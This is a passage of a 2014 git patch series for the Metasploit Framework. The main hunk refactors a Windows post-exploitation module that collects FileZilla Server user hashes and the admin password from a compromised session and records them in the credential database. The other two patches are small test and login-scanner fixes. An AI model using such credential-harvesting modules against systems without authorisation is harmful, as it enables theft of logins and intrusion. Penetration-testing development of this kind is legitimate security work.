insertions(+), 34 deletions(-) diff --git a/modules/post/windows/gather/credentials/filezilla_server.rb b/modules/post/windows/gather/credentials/filezilla_server.rb index e562129d68..5f1553ea7c 100644 --- a/modules/post/windows/gather/credentials/filezilla_server.rb +++ b/modules/post/windows/gather/credentials/filezilla_server.rb @@ -33,13 +33,7 @@ class Metasploit3 < Msf::Post return end - drive = session.sys.config.getenv('SystemDrive') - case session.platform - when /win64/i - @progs = drive + '\\Program Files (x86)\\' - when /win32/i - @progs = drive + '\\Program Files\\' - end + @progs = "#{session.sys.config.getenv('ProgramFiles')}\\" filezilla = check_filezilla if filezilla != nil @@ -147,20 +141,39 @@ class Metasploit3 < Msf::Post source_id = nil end - # report the goods! - report_auth_info( - :host => session.sock.peerhost, - :port => config['ftp_port'], - :sname => 'ftp', - :proto => 'tcp', - :user => cred['user'], - :pass => cred['password'], - :ptype => "MD5 hash", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['ftp_bindip'], - :target_port => config['ftp_port'] - ) + + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['ftp_port'], + service_name: 'ftp', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + jtr_format: 'raw-md5', + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :nonreplayable_hash, + private_data: cred['password'], + username: cred['user'] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end perms.each do |perm| @@ -190,19 +203,37 @@ class Metasploit3 < Msf::Post #the module will crash with an error. vprint_status("(No admin information found.)") else - report_auth_info( - :host => session.sock.peerhost, - :port => config['admin_port'], - :sname => 'filezilla-admin', - :proto => 'tcp', - :user => 'admin', - :pass => config['admin_pass'], - :type => "password", - :source_id => source_id, - :source_type => "exploit", - :target_host => config['admin_bindip'], - :target_port => config['admin_port'] - ) + service_data = { + address: ::Rex::Socket.getaddress(session.sock.peerhost, true), + port: config['admin_port'], + service_name: 'filezilla-admin', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :password, + private_data: config['admin_pass'], + username: 'admin' + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + # Assemble the options hash for creating the Metasploit::Credential::Login object + login_data ={ + core: credential_core, + status: Metasploit::Credential::Login::Status::UNTRIED + } + + # Merge in the service data and create our Login + login_data.merge!(service_data) + login = create_credential_login(login_data) + end p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv, From 262deac1556fa1142239cf6b1fd9e0d1cbd34f1b Mon Sep 17 00:00:00 2001 From: Lance Sanchez Date: Thu, 5 Jun 2014 11:21:34 -0500 Subject: [PATCH 57/58] Fixing the failing specs for some reason on my box sock.closed? isnt being called. stubbing it out Kernel.select is being called and cant cast a mock object to an IO object ok to fix this I'm stubbing select on the scanner object then the call wont get passed onto the Kernel module --- spec/lib/metasploit/framework/login_scanner/pop3_spec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb index 642a4c3d31..cb86c8f0a2 100644 --- a/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb +++ b/spec/lib/metasploit/framework/login_scanner/pop3_spec.rb @@ -48,9 +48,10 @@ describe Metasploit::Framework::LoginScanner::POP3 do before(:each) do sock.stub(:shutdown) sock.stub(:close) + sock.stub(:closed?) expect(scanner).to receive(:connect) scanner.stub(:sock).and_return(sock) - + scanner.should_receive(:select).with([sock],nil,nil,0.4) end it "Server returns +OK" do From c61b47063dc8e37fcc00779cf98350b935c92c00 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Thu, 5 Jun 2014 15:32:08 -0500 Subject: [PATCH 58/58] vnc add missing exception catch linux throws a different exception than osx when the vnc client fails to connect this caused issues with the specs running. this now catches that additional exception --- lib/metasploit/framework/login_scanner/vnc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb index a2cb530a95..d949137795 100644 --- a/lib/metasploit/framework/login_scanner/vnc.rb +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -61,7 +61,7 @@ module Metasploit status: :connection_error ) end - rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e result_options.merge!( proof: e.message, status: :connection_error